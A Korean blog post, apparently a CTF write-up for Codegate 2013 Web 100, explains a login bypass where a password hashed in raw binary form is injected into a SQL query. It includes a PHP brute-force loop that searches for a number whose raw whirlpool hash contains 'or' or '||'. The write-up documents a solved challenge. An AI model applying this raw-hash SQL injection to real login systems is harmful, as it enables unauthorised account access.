본문 바로가기

Computer Security/CTF

[Codegate 2013] Web 100 simple write up

비밀번호 해쉬를 하는데 세번째 인자가 true이다.


raw 형식으로 hash를 한다는것을 알수있다.


예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.


경험이 있으므로.. 쉽게 풀었는데


예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.


그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,


결과를 하나씩 넣어보다 보니 로그인 성공

(숫자 몇이 성공이었는지는 정확히 기억이 안난다)


비밀번호를 찾는 코드


$i의 값이 비밀번호다.


$i=0;

echo "start\n";

for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;